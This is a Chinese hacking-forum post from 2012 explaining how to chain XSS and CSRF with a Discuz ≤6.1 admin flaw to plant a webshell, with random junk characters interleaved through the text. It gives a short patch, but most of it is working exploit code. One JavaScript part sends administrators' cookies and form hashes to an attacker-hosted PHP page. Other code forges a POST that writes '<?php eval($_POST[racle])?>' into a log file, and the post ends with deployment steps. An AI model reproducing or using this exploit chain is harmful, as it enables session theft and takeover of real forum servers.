找回密码
 立即注册
查看: 3970|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell- u0 s* W2 S7 M& P, q" l8 y1 Z
By racle @tian6.com
4 Z1 I9 G' c5 i( M' w欢迎转帖.但请保留版权信息.4 r# u1 d. P% y; @9 g. ~/ ~
受影响版本iscuz<=6.1.0,gbk+utf+big5
; n/ g; x7 V* j( G+ r5 `: `% Y: r
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
- T+ g& U( E/ Q" N$ i( V8 U) c' |
6 u: A. n) T) a+ F5 ~2 S# {
% Q; k0 d" v( B/ I4 @3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87063 F% d: I5 L- b- i5 D. G
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.0 e% v9 Z* b1 c2 g6 O

: m& b) X3 ^! n' n+ U" ?分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
8 }1 s, X1 F/ l$ s# v4 M/ b% J, m; {本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS, w8 V0 i9 ^. V+ X2 P7 V3 r3 Y% @

# n' Z* k' o  O/ m: R" a8 Q) i) w6 q' S2 Y+ y% ^# J$ M
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ i5 h4 q* [/ q* f5 N! N6 K5 c4 r6 b

$ p+ p7 N! B7 T  C9 B4 t, F; _, h5 U/ g: m& n9 I" T
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.. l5 z" y9 D" f3 j* t( g

* s6 Q) l; y! ]% dproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
: I+ b  z3 L( J$ ?) r% ~$ u) O1 ~% U2 e' A9 S) o' a
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
. ]' w4 o6 J" {/ ^8 }1 o+ O0 N* X4 K1 D  R

  T+ g3 s7 y$ I' ~下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {3 G6 J. A) `; \) g

" n! S+ I+ a8 S+ L6 h& Y        global $runwizardfile, $runwizardhistory;
& @9 y  q6 A+ V8 |
) S8 u( d1 C1 A* P        $fp = fopen($runwizardfile, 'w');
# n. q; `/ H) O) B+ w) i" ~- @% L3 L2 H5 h( C( ^" X
        fwrite($fp, serialize($runwizardhistory));
' B2 ~- x, s0 ]9 y
% k3 v) H& X6 A/ S* h8 e$ f        fclose($fp);0 `* F/ J% Q0 x- ?: C9 u! `

5 _5 z) f7 R$ Y}
8 M+ W2 _! Q1 T/ K5 k- i1 S复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里./ {- i2 @& {  m
以下是修补的办法:function saverunwizardhistory() {+ p" O/ Y: r8 K) _! H7 {' R

$ [- u$ r4 l+ v8 I' p+ U, @# Y        global $runwizardfile, $runwizardhistory;2 O7 `3 _( t( y" Y

7 }4 b5 O, g. _! _2 a        $fp = fopen($runwizardfile, 'w');- ?! T# b& p* p& x' _; O( e; V

( _) e3 F8 X. _9 c0 B- i        $s = '<?php exit;?>';+ }# w9 ^* D- |! K2 D2 k) e

) z0 u" O# J! o0 U' m- E+ S        $s .= serialize($runwizardhistory);
6 [3 _: R% ^9 h: c% ]/ O# p9 V6 q- R3 C( v6 e
        fwrite($fp, $s);
% N0 J2 e' Q0 I
% M/ E5 Z9 v9 t% r& {9 O  B; ?        fclose($fp);- p. D+ j$ n- d
' D' E) v% l5 W2 F
}) E! W: s2 t# X* N! Z& C- W1 d
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
- Q, \% F9 M5 s3 t" k- l8 h* H& L2 E9 C% K
5 b" u; L9 ?$ A

; o9 V5 m# E: l. G- {+ D----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 q/ b2 X- O$ q! |( Y

; X/ {% k+ P4 s$ H8 [/ r; T* W6 U9 w: F1 f( L3 H
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.8 O# `% o- G' K6 l6 d) c

8 D  G; y% J' _3 q  u' r  f# }我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
2 F  O' ~% D+ z
( b# ?3 b9 g' A% O7 c/ h% z5 w这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少., a% h, N" \& K

! _; G3 k; m) s& O首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:. {+ R$ A* I; c- Y

* C9 _' `* R4 r" ?7 Hvar url="http://目标网站/admincp.php";      
7 l# t# R% D+ x+ g6 ?% `. V: u3 y! W- {8 S( S# U
/*获得cookies*/& j& U  W8 Q9 P+ f: V; _; o& J3 x

) ~2 s) P4 w7 b6 w( |* ~! w# o+ ofunction getURL(s) {
/ z, E( U' @8 K& m4 n$ ]9 y" \& l$ l4 @  D
var image = new Image();
& h1 M$ I! t6 x+ T. v4 H. {% Z" F$ U' n9 k5 D! ^7 m
image.style.width = 0;, a7 i, `# h/ q- h4 {7 V2 u# I
6 b; l% w# r) U* s" d  h
image.style.height = 0;
8 N: }# h* J6 z( X; O& T+ x
% Y! S1 f- U/ @3 y' F& wimage.src = s;% I" m% f" B- e# ]
3 l5 |, _0 u9 }: u/ Q& c6 R: g
}* E8 j" i; @! r+ ?. ^- H- u- i  l

$ p7 u+ w3 W  x  OgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php! a* @+ y# `9 h, K2 u
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];- l5 x/ w4 i- F$ j# P' p
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) . ~1 U: d) C$ k& g7 _" W
3 g# H* g/ ^/ I) A

0 G/ a/ R7 g, v4 D' U获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";, ^7 b2 N! k2 g

4 s0 f# m1 _2 W  e5 p: \1 Q
6 J! d$ U$ t& `2 C$ E9 R; H7 g1 W  y; Z
/*hash*/- Z  _1 `/ c2 ^* G  B/ A

7 k/ K, B4 C" c  E8 t$ Nvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");+ G9 P! e& y* S6 D1 U. I
: _5 f6 m8 K( M$ [
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);/ q* q3 G& A: m

- ^9 v5 \% U6 `+ Q% ?% AxmlHttpReq.send();
3 z: L; u& _) i# s. q5 ^1 j1 e; {/ ^0 M4 ?0 v% |' h8 V
var resource = xmlHttpReq.responseText;
+ w$ A6 E( v4 u0 Z; L8 h% F2 N  q5 g1 {- y! Q" l$ j
var numero = resource.search(/formhash/);# f/ ?4 f* \7 h" e+ N+ c# l
, x4 x# \# _! N: O& E; O3 h& b; K
var formhash=encodeURIComponent(resource.substr(numero+17,8));
# a2 p* g; [5 V8 s" Y% o  ~
0 s  N, z% F& Y7 d' U5 ]- p& ~4 i/ R' [! O

- I; @& T. F' E! o, x; x0 Yvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
% c; h4 R  D4 U6 u6 q: }" f
8 b2 C7 b& H& _1 S& O9 T+ g. HxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
6 @2 J. j; l( S; I, u) n- D" d, g" {& d: D
xmlHttpReq.setRequestHeader("Referer", url);
4 q1 C; f) F. p+ y( C% ^# \
/ S7 q# D- F( O: {1 Y, dxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 y8 {9 \" A* ^, j" u3 ?7 k3 V- x" g8 S0 x& c
xmlHttpReq.setrequestheader("content-length",post.length); # k# v$ O! N, q6 X$ K& l# @  K. Z
% d; A) B- ?) D! a6 p1 w/ v4 F
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); & g  W8 A1 l9 L

# q. G6 b) H# dxmlHttpReq.send(post);//发送数据( k* G/ V9 q' G; W' {" ~
复制代码这里HASH我假设正确,这样提交,也无须cookies) i- ]: s( @, ~- ^8 J1 G

, Z& W3 v; [  A2 b2 M0 ]8 S再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);$ u% {( I6 x; d7 h7 Z% v+ }# [3 M
9 X8 {& {  F6 I& E" Y
if (!$sock) die("$errstr ($errno)\n");
% t1 v9 t% P; h* ?+ W7 F5 U' `& ^
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
$ w" Q5 t7 l9 J4 o' a* \- D8 x- n0 ?; _# L9 ]
/ [' J# L5 _9 B$ D; f
5 R8 Q% u" ~! `7 k: d1 ]. J
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
+ |' p' \* d, s5 r) g/ R" d: e. z
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
6 X1 r; c0 K2 c: N$ S3 a
- k- ~% F# k9 q. _8 xfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");& z: n+ X3 u2 a! @& k
( _, u7 ^+ b3 l6 x; \
fwrite($sock, "Accept-Language: zh-cn\r\n");! u# J) I1 _& S$ D' K; d) J
7 }# w/ u. b; S2 c4 Y# |0 E
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");; f6 J; H- `; F  M: V$ l- n, m, b1 n% K
# `; Z2 }/ a% P+ Q) {
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");( D% O4 [  t* ?  }! ^! K2 a
4 o$ a4 q" y! A
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
/ n) ^, r- c5 g3 p/ F# ?4 W1 ?
- _; O7 k! s' f" Gfwrite($sock, "Host: $url\r\n");+ J% r9 E3 ]/ Z3 h+ l7 m
- }9 {. l1 K5 A8 D! s
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");/ N/ q$ _7 }1 B# B3 M7 Z

' h) Z% s. I1 K( |/ Vfwrite($sock, "Connection: Keep-Alive\r\n");1 J6 ?; i7 |6 Y( q1 H1 E' W

" `- j8 l. v" N) f$ O8 efwrite($sock, "Cache-Control: no-cache\r\n");# X$ G2 ]+ r- A0 s$ a
9 K3 Y9 ?% y+ K
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
4 `/ M4 M9 T" \' B; u$ U1 ]' }- u9 i$ x+ I! ]2 b$ A) R
fwrite($sock, $data);+ T# l( ~, ?4 r! }/ B: i0 k, g% s

7 C# u# @$ V& c& b; G7 |; r% p, E7 ]3 ?  C3 S

  m5 H# ?" k. x" B+ M$headers = "";# M! v3 V" R$ R; n% n* X

9 `* ]& u9 Q0 S+ ~2 @" [/ M0 I1 Uwhile ($str = trim(fgets($sock, 4096)))8 p2 m4 O+ U* P$ ?* I( m
3 A9 k( [# v: [, q' l! f) U$ G
     $headers .= "$str\n";+ Y* X" h% t6 a% Q4 O, `* ^2 P* e. N

; \4 M7 L3 f, y: P) ^echo "\n";
/ K: a4 j% p8 q' K; \- h9 q% A, K  v) q. u. J6 B; {8 y$ K
$body = "";
/ _% T/ b3 E3 x  y$ f' x. c% S
9 N+ l7 C. o$ l% p+ Cwhile (!feof($sock))
( I" l$ W9 p5 l# y; T% B. U' t# p) u& S1 }  w* `
     $body .= fgets($sock, 4096);
6 v2 G/ c7 r- a/ W0 S: I0 w3 S
. _6 r8 q. Z; k' R& r3 {* G, V8 ufclose($sock);* `8 Q* @) P$ o* _% C

& Y0 a1 i$ p6 [( _: e- I, becho $body;4 U) M( P! h! v3 _
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
0 `9 h7 \" w1 i+ ?1 n" ^) f( d2 ?' y) b% X

% _2 Z  o: Y1 f; V& K-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
2 z& l0 T% O/ r  H. U1 w& ~$ _" {# k) r  A7 u$ o
* X) P8 _  p# }5 h7 ^
1HP SOCKET利用方法首先打开racle.js
% Y9 \; i6 g# D; i# R0 k. A: X5 b+ K8 W. b" p* Y0 W, K& p8 x
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home: a% K7 U, k2 F
9 f% C: A- E1 f* }: E6 a

+ A( \. M' ^& Q: `
% \) a' `. Q5 d' f, Q然后打开racle@tian6.php
3 l' e' w) u% B1 {6 u, n" a$ D5 S1 {9 n/ }% I6 R2 T  @
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
' E' `; K% T! b4 ]2 A
( N5 g/ F$ x. {3 h! J( Q9 |
6 [: }$ K/ ~; J6 R) t2 y0 B) }2 z
/ o& Y& D9 V0 e4 o如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:4 u; _* U& f! t
' I; H3 @/ g+ O; G- ]  U& j- A7 d
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));" Q# L( j6 v3 H' H
& O. O. n$ `& m0 d5 g; m  t0 i
4 J& g& i7 B( ~8 u2 T

7 J8 T( D  x2 f2 e4 {8 X& ]7 x1 ggetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
& a6 u% m( ~6 ^( F) ]0 v4 n复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
( f4 }; t% R. H7 Z) V2 b& l$ P& ^% F
" s5 G) }* |4 K& D* m# A: f7 u( @9 B( J8 b; D8 T
8 P) z+ V% r, v5 H5 f9 ^
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:/ E; j; O4 E3 C! O
( V0 R8 H& P: s
var formhash=encodeURIComponent(resource.substr(numero+17,8));
" y; P2 x; O5 E5 [/ P7 N- H* f: z2 w& u
1 s0 f- Z) {, h; O/ Z9 s

$ d6 ^0 t' q- u; K/ E, I5 }- ~& Vvar formhash=encodeURIComponent(resource.substr(numero+9,8));
: G1 T! D6 p% \6 \1 P7 y0 F5 u复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.5 z& a+ f7 j/ {* z$ l6 {
6 T1 F5 }) L/ v4 ~! M0 S
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
" H+ l8 X4 A: K' Z. x: o- D1 E/ l  S" q+ O) A, W5 T4 e
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.; G) o$ j# f$ k' x$ t

( T4 K# q2 R9 ]! l- ~! `3 M不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.; j( s2 P1 x% {9 K2 e% \/ H

( e* |0 [' B7 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表